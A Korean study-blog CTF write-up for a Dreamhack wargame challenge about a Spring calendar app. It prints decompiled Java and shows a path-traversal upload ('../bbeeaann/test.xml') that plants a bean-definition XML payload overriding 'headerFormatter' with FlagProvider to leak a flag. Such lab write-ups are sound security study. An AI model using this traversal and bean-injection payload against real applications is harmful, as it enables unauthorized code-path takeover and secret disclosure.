| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 | ||
| 6 | 7 | 8 | 9 | 10 | 11 | 12 |
| 13 | 14 | 15 | 16 | 17 | 18 | 19 |
| 20 | 21 | 22 | 23 | 24 | 25 | 26 |
| 27 | 28 | 29 | 30 |
- 지도학습
- echo 명령어
- sqld
- Linked List
- 생성형AI
- 보안공부
- tunder client
- 데이터분포
- 태국
- node.js
- 꽉뚝짝 시장
- List
- 함수
- SK쉴더스
- dropna
- Package
- 루키즈
- 예외처리
- 성능평가지표
- 패키지
- 루키즈33기
- gdgm
- 수업복습
- 방콕
- 블록(Block)
- pandas
- 클래스
- OT후기
- git push -u
- 레이블인코딩
- Today
- Total
개발 블로그
[DreamHeck] 콩 심기🌱 본문
https://dreamhack.io/wargame/challenges/3103
로그인 | Dreamhack
dreamhack.io
도커 컴포즈 파일을 열면 다음과 같다.
services:
calendar:
build:
context: .
dockerfile: Dockerfile
ports:
- "8080:8080"
environment:
FLAG: "${FLAG:-DH{fake_flag}}"
restart: unless-stopped
해당 파일에서 environment 환경변수 부분에 플래그가 있는 것을 확인함.
근데 이 부분을 어떻게 접근할 지 모르겠어서 일단 나머지 코드들을 확인했음.

먼저 플래그가 있을 법한 클래스를 확인함. 플래그는 TitleProvider 인터페이스를 호출하면 반환함.
둘은 상속관계


할 일을 저장하면 다음과 같이 파일 업로드가 나옴. -> 파일 업로드 취약점 일 것 같음

음 그냥 일단 이미지 아무거나 업로드 해봤는데 확장자 필터링이 되어 있는 것 같음.
-> XML 밖에 안되는듯???
package com.dream.calendar.controller;
import com.dream.calendar.service.CalendarModelFactory;
import com.dream.calendar.service.ScheduleService;
import com.dream.calendar.util.TitleProvider;
import java.time.LocalDate;
import java.time.YearMonth;
import java.time.format.DateTimeParseException;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.servlet.mvc.support.RedirectAttributes;
/* JADX INFO: loaded from: MainController.class */
@Controller
public class MainController {
private final ScheduleService scheduleService;
private final CalendarModelFactory calendarModelFactory;
private final BeanFactory componentRegistry;
public MainController(ScheduleService scheduleService, CalendarModelFactory calendarModelFactory, BeanFactory componentRegistry) {
this.scheduleService = scheduleService;
this.calendarModelFactory = calendarModelFactory;
this.componentRegistry = componentRegistry;
}
@GetMapping({"/"})
public String index(@RequestParam(required = false) String month, Model model) {
YearMonth selectedMonth = parseMonth(month);
model.addAllAttributes(this.calendarModelFactory.create(selectedMonth));
TitleProvider titleProvider = (TitleProvider) this.componentRegistry.getBean("headerFormatter", TitleProvider.class);
model.addAttribute("pageHeading", titleProvider.getText(selectedMonth));
return "index";
}
@PostMapping({"/schedules"})
public String saveSchedule(@RequestParam LocalDate date, @RequestParam String content, RedirectAttributes redirectAttributes) {
try {
this.scheduleService.save(date, content);
redirectAttributes.addFlashAttribute("message", "일정이 저장되었습니다.");
} catch (IllegalArgumentException exception) {
redirectAttributes.addFlashAttribute("error", exception.getMessage());
}
return "redirect:/?month=" + String.valueOf(YearMonth.from(date));
}
@PostMapping({"/schedules/delete"})
public String deleteSchedule(@RequestParam LocalDate date, RedirectAttributes redirectAttributes) {
this.scheduleService.delete(date);
redirectAttributes.addFlashAttribute("message", "일정이 삭제되었습니다.");
return "redirect:/?month=" + String.valueOf(YearMonth.from(date));
}
@PostMapping({"/schedules/upload"})
public String uploadScheduleXml(@RequestParam("scheduleXml") MultipartFile scheduleXml, RedirectAttributes redirectAttributes) {
try {
String savedPath = this.scheduleService.uploadXml(scheduleXml.getOriginalFilename(), scheduleXml.getBytes());
redirectAttributes.addFlashAttribute("message", "XML 업로드 완료: " + savedPath);
return "redirect:/";
} catch (IllegalArgumentException exception) {
redirectAttributes.addFlashAttribute("error", exception.getMessage());
return "redirect:/";
} catch (Exception e) {
redirectAttributes.addFlashAttribute("error", "XML 파일을 저장하지 못했습니다.");
return "redirect:/";
}
}
private YearMonth parseMonth(String month) {
if (month == null || month.isBlank()) {
return YearMonth.now();
}
try {
return YearMonth.parse(month);
} catch (DateTimeParseException e) {
return YearMonth.now();
}
}
}
자바가 너무 오랜만이야ㅜ 이건 MainController인데 여기서 /schedules/upload 부분을 보면 될듯.
음! 일단 여기까지를 정리해보자면! xml 업로드 부분이 취약 진입점인 것 같음.
마저 MainController를 톺아보자.
TitleProvider titleProvider = (TitleProvider) this.componentRegistry.getBean("headerFormatter", TitleProvider.class);
model.addAttribute("pageHeading", titleProvider.getText(selectedMonth));
이 부분을 좀 해석해보면 headerFormatter로 Spring 빈을 동적 조회하여 pageHeading에 랜더링 하는 구조임.
(사실 자바 코드가 너무 오랜만이라 이 MainController는 AI에게 코드 해석을 부탁했음)
https://dev-wnstjd.tistory.com/440
🟢 [Spring] 스프링 빈(Bean) 이란?
📌 스프링 빈(Bean) 이란? 빈(Bean)은 스프링 컨테이너에 의해 관리되는 재사용 가능한 소프트웨어 컴포넌트이다. 즉, 스프링 컨테이너가 관리하는 자바 객체를 뜻하며, 하나 이상의 빈(Bean)을 관리
dev-wnstjd.tistory.com
https://blu-blu.tistory.com/109
[Spring] 스프링 빈(Bean)이란? 초보 개발자를 위한 쉬운 설명 🍃
Bean은 콩입니다. ⭐ 빈(Bean)의 유래빈이라고 작명한 이유를 알려면, 자바로 작명한 이유부터 알아야 합니다.자바로 작명한 이유는, 자주 마시는 커피가 인도네시아 자바 섬 커피였기 때문입
blu-blu.tistory.com

음! 취약점이 될 수 있나? 해서 더 찾아봄.
...
보통 Spring에서 빈을 쓸 땐 @Autowired로 타입 기반 주입을 하며 위처럼 문자열 이름("headerFormatter")으로 BeanFactory.getBean()을 직접 호출하는 건 드물다고 함. 이 부분에서 이 빈 이름으로 다른 것과 바꿔치기 하면 어떨까 하는 부분까지 확장할 수 있었음.
앞에서 FlagProvider를 확인했잔슴, 여기서 headerFormatter 대신에 FlagProvider를 반환하게 하면 되지 않을까? 페이지 제목 자리에 플래그 랜더링.......
package com.dream.calendar.service;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.nio.file.AtomicMoveNotSupportedException;
import java.nio.file.Files;
import java.nio.file.LinkOption;
import java.nio.file.OpenOption;
import java.nio.file.Path;
import java.nio.file.StandardCopyOption;
import java.nio.file.attribute.FileAttribute;
import java.time.LocalDate;
import java.util.Comparator;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.stream.XMLOutputFactory;
import javax.xml.stream.XMLStreamWriter;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NodeList;
/* JADX INFO: loaded from: ScheduleService.class */
public class ScheduleService {
private final Map<LocalDate, String> schedules;
private final Path storageFile;
public ScheduleService() {
this(Path.of("src", "main", "resources", "upload_sch", "schedules.xml"));
}
public ScheduleService(Path storageFile) {
this.schedules = new ConcurrentHashMap();
this.storageFile = storageFile.toAbsolutePath().normalize();
load();
}
public synchronized String uploadXml(String originalFilename, byte[] xml) {
if (originalFilename == null || originalFilename.isBlank() || !originalFilename.toLowerCase().endsWith(".xml")) {
throw new IllegalArgumentException(".xml 파일만 업로드할 수 있습니다.");
}
if (xml == null || xml.length == 0) {
throw new IllegalArgumentException("업로드할 XML 파일이 비어 있습니다.");
}
try {
Path uploadDirectory = this.storageFile.getParent();
Files.createDirectories(uploadDirectory, new FileAttribute[0]);
Path destination = uploadDirectory.resolve(Path.of(originalFilename, new String[0])).normalize();
Files.createDirectories(destination.getParent(), new FileAttribute[0]);
Files.write(destination, xml, new OpenOption[0]);
return destination.toString().replace('\\', '/');
} catch (Exception exception) {
throw new IllegalStateException("XML 파일을 저장하지 못했습니다.", exception);
}
}
public void save(LocalDate date, String content) {
if (date == null) {
throw new IllegalArgumentException("날짜를 선택해 주세요.");
}
String normalizedContent = content == null ? "" : content.trim();
if (normalizedContent.isEmpty()) {
throw new IllegalArgumentException("할 일을 입력해 주세요.");
}
if (normalizedContent.length() > 100) {
throw new IllegalArgumentException("할 일은 100자 이내로 입력해 주세요.");
}
this.schedules.put(date, normalizedContent);
persist();
}
public String find(LocalDate date) {
return this.schedules.get(date);
}
public void delete(LocalDate date) {
if (date != null) {
this.schedules.remove(date);
persist();
}
}
public synchronized int importXml(byte[] xml) {
if (xml == null || xml.length == 0) {
throw new IllegalArgumentException("업로드할 XML이 비어 있습니다.");
}
try {
InputStream input = new ByteArrayInputStream(xml);
try {
Map<LocalDate, String> importedSchedules = parseSchedules(input);
this.schedules.clear();
this.schedules.putAll(importedSchedules);
persist();
int size = importedSchedules.size();
input.close();
return size;
} catch (Throwable th) {
try {
input.close();
} catch (Throwable th2) {
th.addSuppressed(th2);
}
throw th;
}
} catch (IllegalArgumentException exception) {
throw exception;
} catch (Exception e) {
throw new IllegalArgumentException("XML을 가져오지 못했습니다.");
}
}
private void load() {
if (!Files.exists(this.storageFile, new LinkOption[0])) {
return;
}
try {
InputStream input = Files.newInputStream(this.storageFile, new OpenOption[0]);
try {
this.schedules.putAll(parseSchedules(input));
if (input != null) {
input.close();
}
} catch (Throwable th) {
if (input != null) {
try {
input.close();
} catch (Throwable th2) {
th.addSuppressed(th2);
}
}
throw th;
}
} catch (Exception e) {
throw new IllegalStateException("schedules.xml을 읽지 못했습니다.");
}
}
private Map<LocalDate, String> parseSchedules(InputStream input) throws Exception {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
factory.setAttribute("http://javax.xml.XMLConstants/property/accessExternalDTD", "");
factory.setAttribute("http://javax.xml.XMLConstants/property/accessExternalSchema", "");
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);
Document document = factory.newDocumentBuilder().parse(input);
if (!"schedules".equals(document.getDocumentElement().getTagName())) {
throw new IllegalArgumentException("최상위 태그는 <schedules>여야 합니다.");
}
Map<LocalDate, String> parsed = new LinkedHashMap<>();
NodeList scheduleNodes = document.getElementsByTagName("schedule");
for (int index = 0; index < scheduleNodes.getLength(); index++) {
Element schedule = (Element) scheduleNodes.item(index);
LocalDate date = LocalDate.parse(schedule.getAttribute("date"));
String content = schedule.getTextContent().trim();
if (content.isEmpty() || content.length() > 100) {
throw new IllegalArgumentException("각 일정 내용은 1자 이상 100자 이하여야 합니다.");
}
parsed.put(date, content);
}
return parsed;
}
private synchronized void persist() {
try {
try {
Path storageDirectory = this.storageFile.getParent();
Files.createDirectories(storageDirectory, new FileAttribute[0]);
Path temporaryFile = Files.createTempFile(storageDirectory, "schedules-", ".tmp", new FileAttribute[0]);
XMLOutputFactory outputFactory = XMLOutputFactory.newFactory();
OutputStream output = Files.newOutputStream(temporaryFile, new OpenOption[0]);
try {
XMLStreamWriter writer = outputFactory.createXMLStreamWriter(output, "UTF-8");
writer.writeStartDocument("UTF-8", "1.0");
writer.writeCharacters(System.lineSeparator());
writer.writeStartElement("schedules");
this.schedules.entrySet().stream().sorted(Map.Entry.comparingByKey(Comparator.naturalOrder())).forEach(entry -> {
writeSchedule(writer, (LocalDate) entry.getKey(), (String) entry.getValue());
});
writer.writeCharacters(System.lineSeparator());
writer.writeEndElement();
writer.writeCharacters(System.lineSeparator());
writer.writeEndDocument();
writer.close();
if (output != null) {
output.close();
}
try {
Files.move(temporaryFile, this.storageFile, StandardCopyOption.REPLACE_EXISTING, StandardCopyOption.ATOMIC_MOVE);
} catch (AtomicMoveNotSupportedException e) {
Files.move(temporaryFile, this.storageFile, StandardCopyOption.REPLACE_EXISTING);
}
if (temporaryFile != null) {
try {
Files.deleteIfExists(temporaryFile);
} catch (Exception e2) {
}
}
} catch (Throwable th) {
if (output != null) {
try {
output.close();
} catch (Throwable th2) {
th.addSuppressed(th2);
}
}
throw th;
}
} catch (Exception e3) {
throw new IllegalStateException("일정을 XML 파일에 저장하지 못했습니다.");
}
} catch (Throwable th3) {
if (0 != 0) {
try {
Files.deleteIfExists(null);
} catch (Exception e4) {
}
}
throw th3;
}
}
private void writeSchedule(XMLStreamWriter writer, LocalDate date, String content) {
try {
writer.writeCharacters(System.lineSeparator() + " ");
writer.writeStartElement("schedule");
writer.writeAttribute("date", date.toString());
writer.writeCharacters(content);
writer.writeEndElement();
} catch (Exception e) {
throw new IllegalStateException("일정 XML을 생성하지 못했습니다.");
}
}
}
이건 ScheduleService
여기서 uploadXml 관련 메서드가 있길래 이걸 확인하겠음.
파일명 검증이 어디에도 없는 것을 보아 path traversal이 먹히지 않을까 하는 생각.
일단의 목표
1. headerFormatter를 FlagProvider로 변경
2. upload할 때 path traversal로?
파일 안에 보니 calander.xml 파일이 있길래 열어봄
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:task="http://www.springframework.org/schema/task"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans https://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/task https://www.springframework.org/schema/task/spring-task.xsd">
<bean id="scheduleService" class="com.dream.calendar.service.ScheduleService"/>
<bean id="calendarModelFactory" class="com.dream.calendar.service.CalendarModelFactory">
<constructor-arg ref="scheduleService"/>
</bean>
<bean id="headerFormatter" class="com.dream.calendar.util.MonthlyTitleProvider"/>
<task:scheduler id="xmlDirectoryScheduler" pool-size="1"/>
<task:scheduled-tasks scheduler="xmlDirectoryScheduler">
<task:scheduled ref="xmlService" method="syncDirectory" fixed-delay="5000"/> # xmlService가 5초마다 syncDirectory 실행
</task:scheduled-tasks>
</beans>
package com.dream.calendar.service;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.LinkOption;
import java.nio.file.Path;
import java.nio.file.attribute.FileAttribute;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.HexFormat;
import java.util.LinkedHashMap;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.Locale;
import java.util.Map;
import java.util.Set;
import java.util.stream.Stream;
import javax.xml.parsers.DocumentBuilderFactory;
import org.springframework.beans.BeansException;
import org.springframework.beans.factory.config.BeanDefinition;
import org.springframework.beans.factory.support.DefaultListableBeanFactory;
import org.springframework.beans.factory.xml.XmlBeanDefinitionReader;
import org.springframework.core.io.ByteArrayResource;
/* JADX INFO: loaded from: XMLService.class */
public class XMLService {
private final DefaultListableBeanFactory registry;
private final Path watchDirectory;
private final Map<String, BeanDefinition> originalDefinitions = new LinkedHashMap();
private Set<String> managedComponents = Set.of();
private String appliedFingerprint = "";
public XMLService(DefaultListableBeanFactory registry, String watchDirectory) {
this.registry = registry;
this.watchDirectory = Path.of(watchDirectory, new String[0]).toAbsolutePath().normalize();
}
public synchronized void syncDirectory() {
try {
Files.createDirectories(this.watchDirectory, new FileAttribute[0]);
Stream<Path> files = Files.list(this.watchDirectory);
try {
List<Path> xmlFiles = files.filter(x$0 -> {
return Files.isRegularFile(x$0, new LinkOption[0]);
}).filter(path -> {
return path.getFileName().toString().toLowerCase(Locale.ROOT).endsWith(".xml");
}).filter(path2 -> {
return !path2.getFileName().toString().equalsIgnoreCase("calendar.xml");
}).sorted().toList();
if (files != null) {
files.close();
}
String fingerprint = fingerprint(xmlFiles);
if (fingerprint.equals(this.appliedFingerprint)) {
return;
}
Map<String, BeanDefinition> desiredDefinitions = new LinkedHashMap<>();
for (Path xmlFile : xmlFiles) {
byte[] xml = Files.readAllBytes(xmlFile);
DefaultListableBeanFactory parsed = readAndValidate(xml, xmlFile.getFileName().toString());
for (String componentName : parsed.getBeanDefinitionNames()) {
desiredDefinitions.put(componentName, parsed.getBeanDefinition(componentName));
}
}
applyDefinitions(desiredDefinitions);
this.appliedFingerprint = fingerprint;
} catch (Throwable th) {
if (files != null) {
try {
files.close();
} catch (Throwable th2) {
th.addSuppressed(th2);
}
}
throw th;
}
} catch (IOException e) {
throw new IllegalStateException("폴더를 읽지 못했습니다.");
}
}
private void applyDefinitions(Map<String, BeanDefinition> desiredDefinitions) {
for (String previousName : this.managedComponents) {
if (!desiredDefinitions.containsKey(previousName)) {
if (this.registry.containsBeanDefinition(previousName)) {
this.registry.removeBeanDefinition(previousName);
}
BeanDefinition original = this.originalDefinitions.remove(previousName);
if (original != null) {
this.registry.registerBeanDefinition(previousName, original);
}
}
}
for (Map.Entry<String, BeanDefinition> entry : desiredDefinitions.entrySet()) {
String componentName = entry.getKey();
if (!this.managedComponents.contains(componentName) && this.registry.containsBeanDefinition(componentName)) {
this.originalDefinitions.put(componentName, this.registry.getBeanDefinition(componentName));
}
if (this.registry.containsBeanDefinition(componentName)) {
this.registry.removeBeanDefinition(componentName);
}
this.registry.registerBeanDefinition(componentName, entry.getValue());
}
this.managedComponents = new LinkedHashSet(desiredDefinitions.keySet());
}
private String fingerprint(List<Path> xmlFiles) throws IOException {
try {
MessageDigest digest = MessageDigest.getInstance("SHA-256");
for (Path xmlFile : xmlFiles) {
digest.update(xmlFile.getFileName().toString().getBytes());
digest.update(Files.readAllBytes(xmlFile));
}
return HexFormat.of().formatHex(digest.digest());
} catch (NoSuchAlgorithmException exception) {
throw new IllegalStateException("SHA-256을 사용할 수 없습니다.", exception);
}
}
private DefaultListableBeanFactory readAndValidate(byte[] xml, String originalFilename) {
rejectEntityDeclarations(xml);
DefaultListableBeanFactory stagingRegistry = new DefaultListableBeanFactory();
stagingRegistry.setBeanClassLoader(this.registry.getBeanClassLoader());
XmlBeanDefinitionReader reader = new XmlBeanDefinitionReader(stagingRegistry);
try {
int count = reader.loadBeanDefinitions(new ByteArrayResource(xml, originalFilename));
if (count == 0) {
throw new IllegalArgumentException("XML 안에 적용할 설정이 없습니다.");
}
return stagingRegistry;
} catch (BeansException e) {
throw new IllegalArgumentException("XML 설정 형식이 올바르지 않습니다: ");
}
}
private void rejectEntityDeclarations(byte[] xml) {
try {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setNamespaceAware(true);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
factory.setAttribute("http://javax.xml.XMLConstants/property/accessExternalDTD", "");
factory.setAttribute("http://javax.xml.XMLConstants/property/accessExternalSchema", "");
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);
factory.newDocumentBuilder().parse(new ByteArrayInputStream(xml));
} catch (Exception e) {
throw new IllegalArgumentException("DOCTYPE 및 ENTITY 선언은 사용할 수 없습니다.");
}
}
}
이게 xmlService
1. uploadXml에서 확인한 취약점인 Path Traversal 사용
2. xmlService가 스캔하는 디렉토리에 headerFormatter를 FlagProvider로 재정의하는 XML 파일을 업로드함
3. xmlService.syncDirectory()가 5초마다 돌면서 이 파일을 읽어 headerFormatter 빈을 FlagProvider로 덮어씀
4. 메인 페이지 재접속 시 FLAG 환경변수 노출
이렇게 해보는 걸로..
공격 페이로드는 calander.xml 유사하게 적어주면 됨.
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
https://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="headerFormatter" class="com.dream.calendar.util.FlagProvider"/>
</beans>
이런 식으로.. 나는 사실 클로드한테 부탁했음 ㅠ
근데 아무데나 업로드 하면 안되고,,
package com.dream.calendar;
import com.dream.calendar.service.XMLService;
import org.springframework.beans.factory.support.DefaultListableBeanFactory;
import org.springframework.beans.factory.support.RootBeanDefinition;
import org.springframework.beans.factory.xml.XmlBeanDefinitionReader;
import org.springframework.context.ApplicationContextInitializer;
import org.springframework.context.ConfigurableApplicationContext;
/* JADX INFO: loaded from: CalendarApplication$CalendarConfigInitializer.class */
public class CalendarApplication$CalendarConfigInitializer implements ApplicationContextInitializer<ConfigurableApplicationContext> {
public void initialize(ConfigurableApplicationContext applicationContext) {
DefaultListableBeanFactory registryFactory = applicationContext.getBeanFactory();
XmlBeanDefinitionReader xmlReader = new XmlBeanDefinitionReader(registryFactory);
xmlReader.loadBeanDefinitions("classpath:/bbeeaann/calendar.xml");
RootBeanDefinition importServiceDefinition = new RootBeanDefinition(XMLService.class);
importServiceDefinition.getConstructorArgumentValues().addIndexedArgumentValue(0, registryFactory);
importServiceDefinition.getConstructorArgumentValues().addIndexedArgumentValue(1, "src/main/resources/bbeeaann");
registryFactory.registerBeanDefinition("xmlService", importServiceDefinition);
}
}
importServiceDefinition.getConstructorArgumentValues().addIndexedArgumentValue(1, "src/main/resources/bbeeaann");
ScheduleService의 XML 저장 위치는 src/main/resources/bbeeaann 여기임. 근데 업로드 하면 무조건

이 경로로 업로드됨 ㅠ
uploadXml()은 ScheduleService의 storageFile.getParent() 기준(upload_sch)에만 저장하도록 고정되어 있음.
아!!!!! 여기서 path traversal 해서 가면 된다. bbeeaann과 upload_sch는 같은 선상에 있으므로
../bbeeaann/test.xml
이렇게!
파일명을 이렇게 수정해서 다시해보자.
이때는 버퍼 스위트를 이용함.


드디어 플래그ㅠ
'Study > Web Hacking' 카테고리의 다른 글
| [DreamHeck] YAML Deserialization (0) | 2026.09.17 |
|---|---|
| [DreamHeck] Grand Theft Auto (0) | 2026.09.17 |
| [DreamHeck] Broken Buffalo Wings (0) | 2026.09.16 |
| [DreamHeck] php7cmp4re (0) | 2026.09.16 |
| [DreamHeck] web-misconf-1 (0) | 2026.09.15 |
